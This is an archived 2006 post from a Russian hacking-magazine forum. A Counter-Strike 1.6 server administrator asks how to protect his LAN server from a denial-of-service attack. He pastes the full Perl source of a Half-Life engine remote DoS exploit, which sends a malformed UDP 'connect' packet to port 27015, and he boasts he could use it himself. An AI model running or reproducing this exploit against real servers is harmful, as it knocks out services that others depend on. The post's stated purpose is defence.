Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Проблема с обслуживанием серевра!

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В локальной сети] >> Проблема с обслуживанием серевра!
Имя
Сообщение << Старые топики   Новые топики >>
Проблема с обслуживанием серевра! - 2006-12-14 08:58:29.983333   
pc_Drozd

Сообщений: 21
Оценки: 0
Присоединился: 2006-11-27 11:39:15.090000
Я уже давно столкнулся с задачей как убить CS 1.6. убивать мне никого не надо хотя при надобности енто сделаю с лёгкостью. ;)
Сейчас меня волнует другое как Администратора, мне нужно защитить CS . Самая жесть этого исходника в том что он не выклюает сервер (я запускаю сервер через server doc - он следит за жизнью сервера) а делает его не работо способнеым.
Буквально в чера я с толкнулся с атакой…. мои мысли о том как решить эту проблему
- просмотреть в консоле IP гада и забанить
- запретить коннект на сервер с одного порта, ибо исходни коннектится с рандомного порта на сервер и это не поможет
- ставить Steam мне нет ни какого смысла потому что когда я пропатчил CS её никто не видел в лане… почему? потому что они даже не догоняют многие как это и к чему это =), так что стим ставить - этот верный упад спроса на 0% ….

Так же я заметил что на ЛинуХ сервера CS этот сплоит не действует хотя у них не Steam!

Вот исходники

#!/usr/bin/perl
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 windоws build-in server, cstrike 1.6 linux dedicated server.
use IO::Socket;
die "usage: ./csdos &lt;host&gt;" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; my $host=$_[0];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; my $sock = new
IO::Socket::INET(PeerAddr=&gt;$host,PeerPort=&gt;'27015',Proto=&gt;'udp');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die "Could not create socket: $!\n" unless $sock;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $cmd="\xff\xff\xff\xff";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; syswrite $sock, $cmd."getchallenge";

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sysread $sock,$b,65535;&nbsp; print $b,"\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @c=split(/ /,$b);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $c2=$c[1];

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '&gt;',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

Я всегда мог положиться на Журнал Ха, на свою голову, но я хочу услышать ответ, помогите буду благодарен!
Post #: 1
Страниц:  [1]
Все форумы >> [В локальной сети] >> Проблема с обслуживанием серевра!







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.